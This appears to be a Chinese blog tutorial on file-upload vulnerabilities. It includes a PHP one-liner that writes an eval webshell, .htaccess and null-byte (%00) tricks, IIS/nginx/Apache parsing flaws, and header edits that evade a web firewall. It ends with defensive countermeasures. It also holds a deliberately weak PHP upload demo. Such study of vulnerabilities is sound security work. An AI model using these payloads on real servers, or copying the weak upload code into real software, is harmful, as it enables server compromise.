zoukankan      html  css  js  c++  java
  • 文件上传漏洞及其绕过、对策、过狗

    1.  文件包含上传:

    php://input属于php内置的封装协议,其实都主要是include()函数处理不当
    如果有文件是以下写法,xxx随便:
    <?php
      include($_GET['xxx']);
     ?>

    以上保存到test.php,

    然后我们通过POST提交php代码。在hackbar的POST区可利用此写入一句话木马:
    <?php fwrite(fopen("payload.php","w"),'<?php eval($_POST["cc"]);?>');?>

    效果就是test.php相同目录下生成payload.php,内容就是一句话木马。

     2.。htaccess

    <FilesMatch "2232">
        SetHandler application/x-httpd-php
    </FilesMatch>

    。htaccess是一个分布式配置文件,阿帕奇的。与jpg分别上传至同意目录,可以让jpg解析为php

     ,用于对付黑名单,且可以用来权限维持

    3.MIME:burp修改就可以解决

    4.js:禁用浏览器js、修改删除本地js

    5.后缀名%00截断

     将文件名改为muma.php%00.jpg,在burp里将%00右键转码为urldecode

    或者命名为muma.php.jpg,在burp里将.php后面加一个空格,转到hex里,因为空格的编码是%20,hex找到20将棋改名为00.

    事实上%00 0x00这些原理都是一样的。中间件在探测到00(null)就认为后面没有了,俗称截断。这是后端接收到的认为就是muma.php

    防御:在缓冲区再做一次校验


    本次学习用的测试代码demo:
    <?php
    // 允许上传的图片后缀
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    $temp = explode(".", $_FILES["file"]["name"]);
    echo $_FILES["file"]["size"];
    $extension = end($temp);     // 获取文件后缀名
    if ((($_FILES["file"]["type"] == "image/gif")
    || ($_FILES["file"]["type"] == "image/jpeg")
    || ($_FILES["file"]["type"] == "image/jpg")
    || ($_FILES["file"]["type"] == "image/pjpeg")
    || ($_FILES["file"]["type"] == "image/x-png")
    || ($_FILES["file"]["type"] == "image/png"))
    && ($_FILES["file"]["size"] < 204800)   // 小于 200 kb
    && in_array($extension, $allowedExts))
    {
        if ($_FILES["file"]["error"] > 0)
        {
            echo "错误:: " . $_FILES["file"]["error"] . "<br>";
        }
        else
        {
            echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
            echo "文件类型: " . $_FILES["file"]["type"] . "<br>";
            echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
            echo "文件临时存储的位置: " . $_FILES["file"]["tmp_name"] . "<br>";
            
            // 判断当期目录下的 upload 目录是否存在该文件
            // 如果没有 upload 目录,你需要创建它,注意upload目录权限 
            if (file_exists("upload/" . $_FILES["file"]["name"]))
            {
                echo $_FILES["file"]["name"] . " 文件已经存在。 ";
            }
            else
            {
                // 如果 upload 目录不存在该文件则将文件上传到 upload 目录下
                move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
                echo "文件存储在: " . "upload/" . $_FILES["file"]["name"];
            }
        }
    }
    else
    {
        echo "非法的文件格式";
    }
    ?>

    6.中间件解析漏洞

    一。 iis6.0 (没有补丁,一定存在此漏洞,除非站长自己修复

    文件正常地址

    www.xxx.com/logo.jpg

    触发漏洞地址:

    将文件命名为logo.asp;.xxx.jpg或logo.asp;.jpg

    并浏览器访问www.xxx.com/logo.asp;.xxx.jpg,或logo.asp;.jpg会把文件logo.asp;.xxx.jpg解析为asp。(脚本格式随意)

    文件夹正常地址:

    www.xxx.com/image/logo.jpg

    触发漏洞地址

    将logo.jpg放在image.asp文件夹下,并访问

    www.xxx.com/image.asp/logo.jpg(脚本格式随意)

    会把logo.jpg解析成为asp

    
    
    
    
    
    

    二。 iis7.x nginx  探索哪些nginx低版本会存在漏洞(有补丁,可能会有网站打补丁修复)

    该解析漏洞利用需两个条件:

    1.        php.ini里cgi.fix_pathinfo=1(默认为1)

    2.        在”Handler Mapping”中取消勾选以下内容:

     

    解决方案:

    1.      配置cgi.pathinfo(php.ini中)为0并重启php-cgi程序

    2.      在”Handler Mapping”勾选php-cgi.exe程序的”Invoke handler only if request is mapped to”

     

    3.      重新配置iis,使用ISAPI的方式(注意:PHP5.3.1已经不支持ISAPI方式)。

    
    
    
    
    

    三。nginx解析漏洞:

    利用:

    正常地址:

    www.xxx.com/logo.jpg

    如果存在漏洞:

    文件命名logo.jpg,命名不变,但是如果我们访问:

    www.xxx.com/logo.jpg/*.php ,会将文件解析为php,此漏洞只能将文件解析成php

     localhost/img/1.jpg 是正常地访问一张图片,而 localhost/img/1.jpg/1.php 却会把这张图片作为PHP文件来执行

    条件:

    新版本的php引入了“security.limit_extensions”,限制了可执行文件的后缀,默认只允许执行.php文件。来做进一步测试。找到php5-fpm配置文件php-fpm.conf,若不知道在哪,可用如下命令搜索:

      sudo find / -name php-fpm.conf
    

    我的测试环境中,该文件位于/etc/php5/fpm/php-fpm.conf。修改该文件中的“security.limit_extensions”,添加上.jpg,添加后如下所示:

      security.limit_extensions = .php .jpg
    

    这样,php便认为.jpg也是合法的php文件后缀了,再在浏览器中访问 http://127.0.0.1/test.jpg/test.php ,看到php被成功执行

    
    
    



    四。Apache(有补丁,可能会被打补丁修复,探索哪些版本会有漏洞,原理:向上解析,不识别,继续向上)

    正常地址:www.xxx.com/logo.jpg

    如果存在漏洞:www.xxx.com/logo.jpg.php.xxx

    将文件命名为logo.jpg.php.xxx。 如果xxx  apache不识别此格式,则向上解析php,假如还不识别继续向上解析。

    先来看测试过程和结果的对比吧。

    结果一

    首先,我安装了apache 2.x版本,同时以module方式使apache与php结合,测试发现确实存在这样的解析漏洞。

     

    结果二

    然后,我将apache与php的结合方式修改为fastcgi方式,测试发现爆500错误,不存在这样的解析漏洞。

     

    错误提示:

    1Bad file descriptor: mod_fcgid: don't know how to spawn child process: f4ck.php.x

    意思就是不知道该如何解析这个文件。

    结果出来了,那么对于影响范围这块,在目前所有的apache版本中均存在此问题,但只适用于以module方式解析php的apache,使用fastcgi方式解析php的apache不受影响,使用cgi方式解析php的apache是否影响未测试。

    下面来简单分享一下测试过程中我发现的一点经验。

    先看一下apache的主配置文件httpd.conf,搜索“DefaultType”,就可以看到这么一段注释和默认配置:

    #

    # DefaultType: the default MIME type the server will use for a document

    # if it cannot otherwise determine one, such as from filename extensions.

    # If your server contains mostly text or HTML documents, "text/plain" is

    # a good value. If most of your content is binary, such as applications

    # or images, you may want to use "application/octet-stream" instead to

    # keep browsers from trying to display binary files as though they are

    # text.

    #10DefaultType text/plain

    DefaultType存在的意义是告诉apache该如何处理未知扩展名的文件,比如f4ck.xxx这样的文件,扩展名是xxx,这肯定不是一个正常的网页或脚本文件,这个参数就是告诉apache该怎么处理这种未知扩展名的文件。

    参数DefaultType的默认值是“text/plain”,也就是遇到未知扩展名的文件,就把它当作普通的txt文本或html文件来处理。

     

     7.

    Filepath修改上传

    针对本地, 服务端名称不一致的情况,虽然可以通过文件夹命名形式利用解析漏洞,但是一般情况很难在服务端创建所需要的文件夹,当然不是不能够创建,我们也可以利用编辑器漏洞来达到目的,现在要说的是不通过文件夹解析漏洞。 
    在这里我们上传文件时通过burpsuite抓包,然后修改数据包里的内容,举例

    
    

     

    
    

    原本filepath后内容是upfile,我们抓包获得之后可以在后面加上.asp,这样就使得upfile文件夹变成upfile.asp, 就可以触发上述文件夹命名格式的解析漏洞。 也可以在upfile/后面加上xx.asp; 这样上传的文件就变成了xx.asp;201510233(服务端自动命名).jpg, 可以触发解析漏洞达到访问目的。

    
    



    过狗:

    上传数据包:

     

    Content-Disposition: form-data; name="upfile"; filename=x.php;

    Content-Type: image/jpeg

    Content-Disposition:

    Name:上传数据包参数名

    Filename:文件名

    Content-Type:文件类型信息

     方法:

    1.修改filename值,去掉双引号加上分号。原理:分号代表语句没有结束,结束语句后不带分号,所以上传的shell.php没有识别为文件名,而被识别为函数,所以就接着从后面开始找

    2.删除Content-Disposition的值(form-data)     原理:表示我没有数据要提交,乱写:接受的不是表单值而是其他



    一、对上传的文件,返回数据包时隐藏上传文件的路径。上传后的文件自动随机重命名
     
    二、服务器端的安全过滤,对上传文件的类型、以及后缀名进行严格的把控。
     
    三、上传类型进行安全限制,JS前端以及后端一起做双层的安全限制,对文件的扩展名安全检

    测,(白名单)MIME文件类型安全检测,上传的文件大小限制。后台做渲染尝试、缓冲区再做验证
     
    四、对上传的目录进行文件夹安全限制,去掉目录的脚本执行权限,
  • 相关阅读:
    C#进行Visio二次开发之设备状态跟踪
    C#进行Visio二次开发之Shape的Data1、Data2、Data3的用处
    C#进行Visio二次开发之界面设计及架构设计
    Sqlserver常用函数例子说明
    香港生肖采集及规则分析软件
    使用NVelocity0.5实现服务器端页面自动生成
    C#进行Visio二次开发之判断图纸是否有设备
    C#进行Visio二次开发之图纸缩放操作的实现
    C#进行Visio开发的事件处理
    导线应力及弧垂计算相关资料
  • 原文地址:https://www.cnblogs.com/drkang/p/8466990.html
Copyright © 2011-2022 走看看